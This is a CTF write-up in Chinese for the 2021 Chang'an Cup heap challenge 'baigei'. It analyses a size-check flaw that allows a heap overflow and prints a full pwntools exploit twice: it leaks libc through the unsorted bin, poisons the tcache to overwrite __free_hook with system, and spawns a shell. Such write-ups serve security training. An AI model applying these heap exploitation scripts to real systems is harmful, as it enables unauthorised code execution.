WriteUp-长安杯2021-baigei

warning
免责声明

本文所述 PWN 均属 CTF(Capture The Flag)参赛行为或赛前训练行为.笔者所 PWN 的对象均为 CTF 比赛或练习中平台方提供的靶机.
本文意在分享网络安全与 CTF 相关技术与技巧,共同提升实力.
请本文读者谨记相关法律法规与政策.读者需为自身行为承担相应的法律后果.笔者(Y7n05h)不为读者的行为承担责任.

基本分析

1
2
3
4
5
6
7
8
9
10
11
12
filetype: ELF64
arch: AMD64
mode: 64
endianess: LE
type: DYN
library: GLIBC(2.4)[DYN AMD64-64]
compiler: gcc((Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0)[DYN AMD64-64]
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 2 /home/admin/Downloads/baige/main
linux-vdso.so.1 (0x00007fff7d9f8000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f6e75d5f000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f6e7614b000)

题目提供的 libc 附件的版本是 2.27-3ubuntu1.4_amd64SHA-1 为:46e93283ff53133360e02a73ae5b5ba375410855

程序分析

下面是通过逆向工程分析得到的伪码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
int Memu()
{
puts("1.Allocate");
puts("2.Delete");
puts("3.Edit");
puts("4.Show");
puts("5.Exit");
return puts(">>");
}
int read_Int()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
buf[(int)read(0, buf, 0x10uLL)] = 0;
return atoi(buf);
}
int Alloc()
{
unsigned int idx; // [rsp+0h] [rbp-10h]
int nbytes; // [rsp+4h] [rbp-Ch]
void *pr; // [rsp+8h] [rbp-8h]

puts("idx?");
idx = read_Int();
if ( idx > 0xF )
return puts("error!");
puts("size?");
nbytes = read_Int();
Size_Arr[idx] = nbytes;
if ( nbytes > 1024 )
return puts("error!");
pr = malloc(nbytes);
if ( !pr )
return puts("error!");
Pr_Arr[idx] = pr;
puts("content?");
read(0, Pr_Arr[idx], (unsigned int)nbytes);
return puts("success!");
}
int Delete()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

puts("idx?");
v1 = read_Int();
if ( v1 > 0xF || !Pr_Arr[v1] )
return puts("error!");
free(Pr_Arr[v1]);
Pr_Arr[v1] = 0LL;
return puts("success!");
}
int Edit()
{
unsigned int v1; // [rsp+8h] [rbp-8h]
int nbytes; // [rsp+Ch] [rbp-4h]

puts("idx?");
v1 = read_Int();
if ( v1 > 0xF )
return puts("error!");
if ( !Pr_Arr[v1] )
return puts("error!");
puts("size?");
nbytes = read_Int();
if ( nbytes <= 0 || nbytes >= (unsigned __int64)Size_Arr[v1] )
return puts("error!");
puts("content?");
read(0, Pr_Arr[v1], (unsigned int)nbytes);
return puts("success!");
}
int Show()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

puts("idx?");
v1 = read_Int();
if ( v1 > 0xF || !Pr_Arr[v1] )
return puts("error!");
printf("%d : %s\n", v1, (const char *)Pr_Arr[v1]);
return puts("success!");
}
void __fastcall main(int a1, char **a2, char **a3)
{
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
while ( 1 )
{
Memu();
switch ( read_Int() )
{
case 1:
Alloc();
break;
case 2:
Delete();
break;
case 3:
Edit();
break;
case 4:
Show();
break;
case 5:
exit(0);
default:
exit(0);
}
}
}

除了代码之外,全局变量的内存分布如下:

1
2
3
4
5
6
7
8
.bss:0000000000202060 ; __int64 Size_Arr[16]
.bss:0000000000202060 Size_Arr dq 10h dup(?) ; DATA XREF: Alloc+55↑o
.bss:0000000000202060 ; Edit+7A↑o
.bss:00000000002020E0 ; void *Pr_Arr[16]
.bss:00000000002020E0 Pr_Arr dq 10h dup(?) ; DATA XREF: Alloc+AB↑o
.bss:00000000002020E0 ; Alloc+D1↑o ...
.bss:00000000002020E0 _bss ends
.bss:00000000002020E0

漏洞定位

本题的漏洞还是有些隐蔽的.
相信各位师傅在做本题的时候一定会关注 Edit()

1
2
3
4
if ( nbytes <= 0 || nbytes >= (unsigned __int64)Size_Arr[v1] )
return puts("error!");
puts("content?");
read(0, Pr_Arr[v1], (unsigned int)nbytes);

这里这处可疑的 强制类型转换 实在太可疑了.
nbytes 的型别很容易推断出是 int
接下来推断 Size_Arr 的型别为:

Size_Arr 中的值只有一个来源就是 Alloc() 中的:

1
Size_Arr[idx] = nbytes;

对应的汇编代码是:

1
2
3
4
5
6
7
.text:0000000000000A48 ; 12:   Size_Arr[idx] = nbytes;
.text:0000000000000A48 mov eax, dword ptr [rbp+pr]
.text:0000000000000A4B movsxd rdx, eax
.text:0000000000000A4E mov eax, [rbp+idx]
.text:0000000000000A51 lea rcx, ds:0[rax*8]
.text:0000000000000A59 lea rax, Size_Arr
.text:0000000000000A60 mov [rcx+rax], rdx

可以看到 movsxd 也就是 nbytes 被符号扩展为 Size_Arr[idx]
那么就能推断出 Size_Arr 的型别为:int64_t[].那么

问题来了:Edit()nbytesSize_Arr[v1] 的型别分别是 int32_tint64_t,两者比较大小时,若无强制类型转换,编译器应当由隐式类型转换规则对 int32_t 进行符号扩展,也就是将 int32_t 转换为 int64_t,然后比较根据有符号数的比较规则比较两者大小即可.

为了验证,可以查看汇编代码:

1
2
3
4
5
6
7
8
9
10
11
.text:0000000000000C0A ; 13:   if ( nbytes <= 0 || nbytes >= (unsigned __int64)Size_Arr[v1] )
.text:0000000000000C0A cmp dword ptr [rbp+nbytes], 0
.text:0000000000000C0E jle short loc_C76
.text:0000000000000C10 mov eax, dword ptr [rbp+nbytes]
.text:0000000000000C13 movsxd rdx, eax
.text:0000000000000C16 mov eax, [rbp+var_8]
.text:0000000000000C19 lea rcx, ds:0[rax*8]
.text:0000000000000C21 lea rax, Size_Arr
.text:0000000000000C28 mov rax, [rcx+rax]
.text:0000000000000C2C cmp rdx, rax
.text:0000000000000C2F jnb short loc_C76

在汇编代码中能看到这处语句中对 nbytes 先进行了符号扩展:

1
2
.text:0000000000000C10                 mov     eax, dword ptr [rbp+nbytes]
.text:0000000000000C13 movsxd rdx, eax

rdxrax 的比较却使用了比较无符号数的汇编指令 jnb

这反常的行为提醒着需要提高警惕.
所以笔者就猜测此处应该存在整数溢出的问题.
但看起来出题者通过检测 nbytes <= 0 堵住了 nbytes 发生整数溢出的可能.

那么,Size_Arr[v1] 能发生溢出吗?

确实能,但不用也行……

回看 Alloc()

1
2
3
4
5
6
7
nbytes = read_Int();
Size_Arr[idx] = nbytes;
if ( nbytes > 1024 )
return puts("error!");
pr = malloc(nbytes);
if ( !pr )
return puts("error!");

会惊讶的发现,读取道德 nbytes 被直接写入了 Size_Arr,写入之后才验证数据是否合法.
这意味着可以通过执行 Alloc() 来任意改变 Size_Arr 中的元素.

例如在对 idx 为 0 分配 0x20 的空间后,能通过对 idx 为 0 再次执行 Alloc(),输入 size 大于 1024,实现将 Size_Arr[idx] 修改.
接下来就能通过 Edit() 实现堆溢出.

好了,这就是本题可供利用的漏洞了.若说整数溢出,唯一于此相关的就是:在对 idx 再次执行 Alloc 输入 size 时可以出入 -1,这样在后面调用 Edit() 时就能输入任意的整数作为 size 进行 edit 了.
但不利用这点也完全能解出本题(笔者也想不通出题人为什么在这里放一个整数溢出的 bugs,或许就是为了干扰答题者的思路?).

解题思路

上面说了漏洞所在.下面聊聊解题思路吧.

首先,利用 Unsort Bin Attack 泄露 main_area 的地址,进而泄露 libc 基址.
其后,利用 tcache poisoning 劫持 __free_hooksystemfree 写着 /bin/sh\x00 的内存即可.

通过逆向工程得到的伪代码能轻易写出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

context(log_level='debug', os='linux', arch='amd64')
# context.terminal = ['tmux', 'split', '-h']

path = "/home/admin/pwn/main"

libcpath = "/home/admin/libcs/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so"

libc = ELF(libcpath)
elf = ELF(path)
r = process(path)
# r = remote("113.201.14.253", 21111)


def up6(addr_port: bytes):
log.debug("get bytes "+addr_port.hex())
recvlen = len(addr_port)
log.debug("recv len "+hex(recvlen))
assert(recvlen == 6)

return u64(addr_port.ljust(8, b"\x00"))


def i2b(n: int, Hex: bool = False):
return bytes(hex(n) if Hex else str(n), encoding="ascii")


def content(cont: bytes):
r.sendlineafter(b"content?\n", cont)
r.recvuntil(b'success!\n')


def Show(idx: int):
r.sendlineafter(b">>\n", i2b(4))
r.sendlineafter(b"idx?\n", i2b(idx))
r.recvuntil(b': ')
return r.recvuntil(b"\nsuccess!\n", drop=True)


def Alloc(idx: int, size: int, cont: bytes = None):
r.sendlineafter(b">>\n", i2b(1))
r.sendlineafter("idx?\n", i2b(idx))
r.sendlineafter("size?\n", i2b(size))
if cont is None:
r.recvline()
else:
content(cont)


def Edit(idx: int, size: int, cont: bytes):
r.sendlineafter(b">>\n", i2b(3))
r.sendlineafter("idx?\n", i2b(idx))
r.sendlineafter("size?\n", i2b(size))
# pause()

r.sendafter(b"content?\n", cont)
r.recvuntil(b'success!\n')


def Delete(idx: int):
r.sendlineafter(b">>\n", i2b(2))
r.sendlineafter("idx?\n", i2b(idx))

下面申请通过 #0 的溢出能将 #1 的 size 修改为 1-5 的 chunk size 总和.#6 是用来防止 #5 与 top chunk 相邻.

1
2
3
4
5
6
7
8
9
10
11
12
Alloc(0, 0x10, b"123")
Alloc(1, 0xf8, b"123") # 1
Alloc(2, 0xf8, b"123") # 2
Alloc(3, 0xf8, b"/bin/sh\x00") # 3
Alloc(4, 0xf8, b"123") # 4
Alloc(5, 0xf8, b"123") # 5
Alloc(6, 0x10, b"234")

Alloc(0, -1)
payload = cyclic(0x18)+p64(0x501)
Edit(0, 0x20, payload)
Delete(1)

通过这一步,libc 认为 free 掉了一个大小为 0x500 的块,这个块超过了 tcache 的最大值,所以被放进了 Unsort Bin.chunk 的 fd 和 bk 均指向 main_area+96,通过这里得到 libc 基址.
就是要泄露 fd 指针了.通过 show #0 泄露 fd.

1
2
3
4
5
6
7
8
Edit(0, 0x20, cyclic(0x20))
buf = Show(0)
addr = buf[0x20:]
main_area_Addr = up6(addr)-96
__malloc_hook_Addr = main_area_Addr-0x10
libc_base = __malloc_hook_Addr-libc.symbols['__malloc_hook']
__free_hook_Addr = libc_base+libc.symbols['__free_hook']
system_Addr = libc_base+libc.symbols['system']

好了,泄露部分完毕,只剩下使用 tcache poisoning 劫持 __free_hook 的部分了.

1
2
3
4
5
payload = cyclic(0x18)+p64(0x501)
Edit(0, 0x20, payload)

Alloc(1, 0xf8, b"123")
Delete(1)

这次分配中,将 0x500 的 chunk 切分出了 0x100 的部分.通过 Delete 掉分配的 chunk,它进入了 tcache

1
2
3
4
5
payload = cyclic(0x18)+p64(0x101)+p64(__free_hook_Addr)
Edit(0, 0x28, payload)

Alloc(1, 0xf8, b"123")
Alloc(7, 0xf8, p64(system_Addr))

再次利用溢出,修改 tcache 的 next.并通过第二次 Alloc 获得指向 __free_hook 的指针,并 __free_hook 改为 system_Addr

1
2
Delete(3)
r.interactive()

最后,利用被改成 system_Addr__free_hookfree 掉指向 /bin/sh\x00 的指针.
解题完毕.

完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *

context(log_level='debug', os='linux', arch='amd64')
# context.terminal = ['tmux', 'split', '-h']

path = "/home/admin/pwn/main"

libcpath = "/home/admin/libcs/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so"

libc = ELF(libcpath)
elf = ELF(path)
r = process(path)
# r = remote("113.201.14.253", 21111)


def up6(addr_port: bytes):
log.debug("get bytes "+addr_port.hex())
recvlen = len(addr_port)
log.debug("recv len "+hex(recvlen))
assert(recvlen == 6)

return u64(addr_port.ljust(8, b"\x00"))


def i2b(n: int, Hex: bool = False):
return bytes(hex(n) if Hex else str(n), encoding="ascii")


def content(cont: bytes):
r.sendlineafter(b"content?\n", cont)
r.recvuntil(b'success!\n')


def Show(idx: int):
r.sendlineafter(b">>\n", i2b(4))
r.sendlineafter(b"idx?\n", i2b(idx))
r.recvuntil(b': ')
return r.recvuntil(b"\nsuccess!\n", drop=True)


def Alloc(idx: int, size: int, cont: bytes = None):
r.sendlineafter(b">>\n", i2b(1))
r.sendlineafter("idx?\n", i2b(idx))
r.sendlineafter("size?\n", i2b(size))
if cont is None:
r.recvline()
else:
content(cont)


def Edit(idx: int, size: int, cont: bytes):
r.sendlineafter(b">>\n", i2b(3))
r.sendlineafter("idx?\n", i2b(idx))
r.sendlineafter("size?\n", i2b(size))
# pause()

r.sendafter(b"content?\n", cont)
r.recvuntil(b'success!\n')


def Delete(idx: int):
r.sendlineafter(b">>\n", i2b(2))
r.sendlineafter("idx?\n", i2b(idx))


Alloc(0, 0x10, b"123")
Alloc(1, 0xf8, b"123") # 1
Alloc(2, 0xf8, b"123") # 2
Alloc(3, 0xf8, b"/bin/sh\x00") # 3
Alloc(4, 0xf8, b"123") # 4
Alloc(5, 0xf8, b"123") # 5
Alloc(6, 0x10, b"234")

Alloc(0, -1)
payload = cyclic(0x18)+p64(0x501)
Edit(0, 0x20, payload)
Delete(1)

Edit(0, 0x20, cyclic(0x20))
buf = Show(0)
addr = buf[0x20:]
main_area_Addr = up6(addr)-96
__malloc_hook_Addr = main_area_Addr-0x10
libc_base = __malloc_hook_Addr-libc.symbols['__malloc_hook']
__free_hook_Addr = libc_base+libc.symbols['__free_hook']
system_Addr = libc_base+libc.symbols['system']

payload = cyclic(0x18)+p64(0x501)
Edit(0, 0x20, payload)

Alloc(1, 0xf8, b"123")
Delete(1)

payload = cyclic(0x18)+p64(0x101)+p64(__free_hook_Addr)
Edit(0, 0x28, payload)

Alloc(1, 0xf8, b"123")
Alloc(7, 0xf8, p64(system_Addr))

Delete(3)
r.interactive()
作者

Y7n05h

发布于

2021-10-13

更新于

2021-10-13

许可协议

CC BY-SA 4.0